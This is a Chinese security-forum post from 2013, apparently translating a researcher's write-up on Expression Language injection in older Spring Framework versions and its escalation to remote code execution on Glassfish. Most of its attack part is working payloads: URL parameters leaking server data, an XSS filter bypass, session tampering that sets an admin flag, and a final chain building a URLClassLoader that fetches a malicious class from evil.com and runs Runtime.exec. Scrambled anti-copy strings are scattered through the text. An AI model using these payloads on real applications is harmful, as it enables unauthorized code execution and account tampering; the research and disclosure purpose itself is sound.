找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2197|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
, _' l1 V* I- {7 _Expression Language Injection
( w  ?6 M& I! U. w- Q+ PSpring Framework脆弱性—DanAmodio% J$ ^, ?8 b( c4 v6 F4 _, R/ U
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
+ ?5 G, ?. R2 s可能会存在风险。; {% c8 Y7 @2 q
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的) c- ?% d. g# o% o( l/ I8 O
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可- o5 Y9 ]0 s, q% Z8 ~3 W" B
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
) E; m. r8 V1 F以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
8 m+ v, V" S: \$ X- y8 [6 S! W版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。; c% |& J  L. E: a
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
7 f* L/ L2 l- _2 ^我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
+ c4 I% ~, a* B% d9 r3 e本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
7 d3 s2 K& U# |4 \这些版本不支持禁用double EL resolution.7 ]5 {1 V5 Y, x, z/ B: A
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
1 I- l) w8 W; L- CEL2.2容器上可能进行远程代码执行。
7 O) Z- i$ v6 y. a/ V# b这是一个原始信息泄露的攻击例子:
9 P2 y8 W* U- i; g: p  x) \, d2 G0 n请求:
. S1 T( ]% n, d1 Fttp://vulnerable.com/foo?message=${applicationScope}
& ^. _) Q# d+ c8 P到达以下内容页面:1 A( U1 y+ j; b! ?5 s
结果将输出一些包含内部服务器信息calsspath 和本地工作目录/ n# b, g& P5 k: E" F2 U5 P
你也可以做一些其他事情,如这样:- x* J$ e4 w% M: \2 h& i
${9999+1}# P( G& @6 ]& ~- ]6 j# ?9 L
还可以访问session 对象和beans
9 g2 f- ^# E; o" @7 T- e! k${employee.lastName}; ^8 h- I+ J# j+ u
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是% u- U/ m* x5 M. F4 D3 l; r
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
5 d8 o+ ?8 y, R# F9 C% L西,比如XSS.) w! D9 ?% U5 w* M9 S$ a
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
8 z# N4 C5 T+ n, }' M突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
: R: \# b2 a3 x- q# H' ?呢?”
  h: r! z8 f4 M& M, l3 H) u8 f因此,我尝试巳缦拢�  t8 [4 q4 y9 u# O) t+ W. B1 N2 y
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP) a0 |, C! T6 }
P
. L$ `; y/ K* m! `% Y, p5 `我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返0 ^2 r5 `# F1 ]! ~
回的文本被插入进了spring:message 标签。4 P7 i4 N3 K4 \
这里是一个最终绕过过滤的实例:4 h; C6 _% @0 s
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
5 R, N3 Z8 X8 E5 }; S$ M它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为/ ?0 a) X" I5 C( F5 A
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
* E: \3 h* Q# g$ _; Z6 T6 ~经过一番研究,我学习到EL2.2 增加了方法调用。6 ]# X" Q5 q% Z8 k$ P
我写了一个快速测试应用程序代码并且检测一些功能
. j3 L" z" y; N7 ?  I% P${pageContext.request.getSession().setAttribute(“account”,”123456″)}
: U7 ?+ I: c- s( o${pageContext.request.getSession().setAttribute(“admin”,true)}
* ]- A) q" u7 V1 N好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的$ r, x  C7 t5 D# N: Z7 N
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
  l! E# R3 D% O( W0 L* k& l( V${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.11 k4 m1 ]0 x  c$ X% y2 f: c& P# s) b
“, 1234)}
. R- }+ L9 R$ P0 n${“”.getClass().forName(“java.lang.Runtime”)}, I' b+ v; i% h0 L, K; z1 H7 B
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
. H3 R$ O, y3 g3 D可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
. r) _) w6 b* R: K  V) i! Q数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有1 ?  {8 h/ f  ]8 A7 |
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
3 I: x8 `( ]8 U( e1 {0 `方法签名invoke(Object obj, Object„ args)
; G# W8 g2 W! ]3 a  X. U8 i' rJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问+ c7 y' I  p! L  M. U/ D8 d
题,以让它可以工作起来。4 K2 p/ c# T/ c% S& D& ]
漏洞利用:  B, [& H% x; {+ n
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我; V; _0 C8 E& w7 |" C8 @7 H  F
希望你们中的一些JAVA奇才告诉我我是如此的可笑。6 V* y. G9 [/ P2 }$ ]
这里有一些我试过的失败的用例,为了试图让它工作的用例:2 f1 n) k0 c9 {, J  ~
 写文件到文件系统
' W: ]2 I/ K0 H8 |8 E2 U1 \3 r$ J 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.2 m" A% u! e- g0 @$ Y
我认为这些可以很好的工作,但是我不能找到合适的类来载入。$ p: y3 C) u: n, H7 r& u8 z. w
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}8 ^: G" t9 V  t, ?. a7 u# B
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
" X5 Y5 f( K! R' w2 norg.springframework.expression.spel.standard.SpelExpressionParser not found' I: |5 t5 k, i5 V2 L. M! a
by
* k) O9 U& N  u( G- w6 rorg.glassfish.web.javax.servlet.jsp [194].
4 ^# }* ?; A6 f: v: P/ o# ~) n 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public2 f3 H  O  R  ~+ `$ ?$ x. I
 利用反射来创建一个新的Runtime(and watch the world burn)( Q( b. ?! K% h! U, \7 b
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName" J3 I- f! n# ?! Y7 m' A
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}4 Z! N. z1 A( M" ~; I9 d
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
2 Q' ~$ n8 ^. q$ P6 P) | 使用java.lang.ProcessBuilder
- t3 M0 o' I# e; m5 C# j 用表达式语言来评估表达式语言4 Z: c6 }  d! y# M! m7 p; R
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
) F9 Z7 o1 |0 m3 |8 g6 }/ G  O${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request7 J- X5 M( A2 Z( C
“,”".getClass(),null)}) z2 |3 ~( a: Z8 _
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
$ M. I* O: S0 ^, N我在使用一个空数组通过Method.invoke()时失败了很多次
! g1 j- S% f* ~" T“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo6 W4 e( W$ c0 M- v
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
/ y, \& z  y! N! e* ~) x8 [rrayList”).newInstance().toArray())/ j! ?* V5 i, a6 y" l  x* G$ @
java.lang.IllegalArgumentException: wrong number of arguments
" q6 P5 O8 D: V" J, m8 q最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可# c' ^9 H% `. U, C" L
以创建一个恶意class文件并且指向类装载器.
: E( k/ T3 x7 z2 a, B4 `我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:6 z3 z( [; l: F
public class Malicious {
( \7 ^/ c/ c9 K% ]) d4 k% Vpublic Malicious() {
+ S9 E" h4 W& [* W' z% Qtry {
  v. L" v/ r  g. s2 B( A; Q( }5 gjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac- n( G$ ?) a3 M7 q8 F3 F
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
% z' q. e+ U3 h0 S1 ]* b} catch (Exception e) {
( @. J6 s9 G, T7 o}' \) P% M. ^! F9 `* P; F
}
- v4 \" J0 b7 s! R# R5 L9 Y/ M% T我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回% ?7 O2 v* e0 T* `
话中,因此它可以被使用.3 w. C2 A$ x* W% I" e& r, b/ g: k
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
( _( z3 e& P9 j3 ~(“java.util.ArrayList”).newInstance())}4 m0 C6 W) @+ Y5 \6 o7 q3 v6 Q
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建7 J0 M3 _0 H, s  V- V6 |- Y' L
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和5 ]% \/ v7 t0 @8 ^% o- ~
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个# c+ p3 d$ H# y$ L0 E+ y
我们可以调用的create(string)方法,然后转换对一个URL对象。
" N$ k7 U6 I3 G* v0 ]" ^) @# l${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh( A6 k5 e8 l! ~
ere/malicious/classfile/is/located/”).toURL())}
: R' l8 E# q) i* E1 V- \+ Z; {( c+ p* Y: r然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
/ r4 ]0 _" r6 B/ C7 C  ]恶意类文件被装载并创建,触发远程代码.
. v! N: R( w3 L% w) l4 `6 i+ z${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte. I  J3 f8 Y5 v8 x  m5 V- t8 N
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().& ]# s! ~! h/ z4 H. \$ d
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance& k: m# |1 }! n' [$ }
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表